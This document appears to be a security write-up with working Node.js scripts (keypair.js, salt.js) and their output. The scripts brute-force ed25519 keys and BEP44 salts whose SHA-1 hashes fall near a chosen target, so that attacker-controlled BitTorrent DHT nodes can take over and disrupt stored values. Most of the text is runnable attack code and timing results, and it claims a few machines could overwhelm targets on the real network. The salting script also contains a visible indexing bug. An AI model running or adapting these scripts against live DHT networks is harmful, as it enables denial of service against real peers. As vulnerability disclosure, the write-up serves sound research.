bittorrent proximity attack calculations

keypair.js

var EC = require('elliptic').ec;
var sprintf = require('sprintf');
var target = Buffer(32);
target.fill(0);
Buffer(process.argv[2], 'hex').copy(target);
var best = null;
var count = 0;
var ec = new EC('ed25519');
var start = Date.now();

var crypto = require('crypto');
function sha1 (msg) {
    return crypto.createHash('sha1').update(msg).digest()
}

while (true) {
    var kp = ec.genKeyPair();
    var p = sha1(Buffer(kp.getPublic().x.toArray()));
    var n = cmp(target, p);
    if (best === null || n > best) {
        console.log(sprintf(
            '%2.4f  %s %d        ', n, p.toString('hex'), count
        ));
        best = n;
    }
    else if (count % 13 === 0) {
        process.stdout.write(sprintf(
            '%2.4f  %s %d %3d/sec\r',
            n, p.toString('hex'), count,
            count / (Date.now() - start) * 1000
        ));
    }
    count ++;
}

function cmp (a, b) {
    for (var i = 0; i < a.length; i++) {
        if (a[i] !== b[i]) {
            return i + (1 - Math.abs(a[i] - b[i]) / 256);
        }
    }
    return i;
}

results.markdown

BEP44 is an extension to the bittorrent protocol that turns the DHT into a key/value store with the option for mutable content. Instead of the key as the hash of the content as with ordinary info hashes, BEP44 allows keys to be the hash of an ed25519 public key with arbitrary 1k signed content.

However, this protocol extension introduces new problems. An attacker can identify a hash they want to disrupt and generate nearby hashes so that responsibility for a hash moves onto nodes the attacker controls. This attack is addressed in dht_sec, but there is no analogous protection for BEP44 dht_store keys.

Generating elliptic keypairs is somewhat slow without assistance from a GPU, but it should be possible to disrupt service on a small network with very modest CPU requirements.

In this example we generate keypairs looking for keys that hash to values most closely to 40000000000000000000000000000000.

$ node keypair.js 40 & sleep 5m && kill %% && echo
[1] 19634
0.9727  3962560c5e0f201d173c5fd338f1f0fbbd7c2ac4 0        
0.9883  3d527146aed3f4b9c76112010b254c12fcab6bc4 24        
1.5703  406ed05940c4bd7893b77fc8625389e33625d3e2 27        
1.7773  40391fb044c56636e89a5406d8e5b7d82c927b22 689        
1.9844  400478a6fc4d22240f413390178fd08432f019ff 2795        
0.3086  f1e8fd76ac6bb352cd8b1792d22b559f3488091e 21255  70/sec

In 5 minutes we were able to generate a key with a hash that had the same first byte and a second byte that was not very far away at 70 keys per second.

However, BEP44 also includes a salting mechanism for storing multiple values under the same elliptic keypair. With this salting mechanism, we can get around a 1000x speedup compared to generating keypairs:

$ node salt.js 40 & sleep 5m && kill %% && echo
[1] 19607
0.4063  d821d0d0d3c691dab9b2433e421b2a70b86f97a3 0            
0.9688  38eb190bffe841c7baca8bc1b317060916b3efa5 1            
0.9844  44e98350ac4c840a2c70798885bc239b8f1b576c 37            
0.9961  3fd35d696ab514efb7d19298b8b1dbcba7f63412 44            
1.3945  409b8327b09abbb1b4dc3ec2bdbce877670420b1 484            
2.7969  400034031b20cfd5511d9a9a7566cf015279d2e0 571            
2.8008  400033ef22256402c186a2dd6d131c9cacc23251 967388            
2.8242  40002dc55528042f137bc921c66f25d18dcd5abd 1060360            
2.9297  400012574b94f5b90dbbc9b963837c9277c695ed 1271514            
2.9922  400002275389b826c037ecc9fd7ce27ed48cc516 1783773            
2.9961  400001116229951379aa944d3a5c21c773970c18 2215835            
3.2578  400000be1cf827fe09dfc2c069de8cebbedde3c5 3163635            
3.7813  40000038c5e92b61336d0e216c9d211707e3b8c7 3258594            
0.4688  c88ec634122a8c2706ba71ece227d1b866bef230 18776560  62749/sec

At this rate it would take a small amount of time to completely overwhelm certain targets on a network the scale of bittorrent using a small number of attacking computers.

salt.js

var EC = require('elliptic').ec;
var sprintf = require('sprintf');
var target = Buffer(32);
target.fill(0);
Buffer(process.argv[2], 'hex').copy(target);
var best = null;
var count = 0;
var ec = new EC('ed25519');
var start = Date.now();
var crypto = require('crypto');
function sha1 (msg) {
    return crypto.createHash('sha1').update(msg).digest()
}

var kp = ec.genKeyPair();
var p = Buffer(kp.getPublic().x.toArray());
var salt = Buffer(1);

while (true) {
    if (Math.log(count + 1) / Math.LN2 > salt.length) {
        salt = Buffer(salt.length + 1);
    }
    salt[i] ++;
    for (var i = salt.length - 1; salt[i] === 0; i--) {
        salt[i] ++;
    }
    var h = sha1(Buffer.concat([ p, salt ]));
    var n = cmp(target, h);
    if (best === null || n > best) {
        console.log(sprintf(
            '%2.4f  %s %d            ', n, h.toString('hex'), count
        ));
        best = n;
    }
    else if (count % 21337 === 0) {
        process.stdout.write(sprintf(
            '%2.4f  %s %d %6d/sec\r',
            n, h.toString('hex'), count,
            count / (Date.now() - start) * 1000
        ));
    }
    count ++;
}

function cmp (a, b) {
    for (var i = 0; i < a.length; i++) {
        if (a[i] !== b[i]) {
            return i + (1 - Math.abs(a[i] - b[i]) / 256);
        }
    }
    return i;
}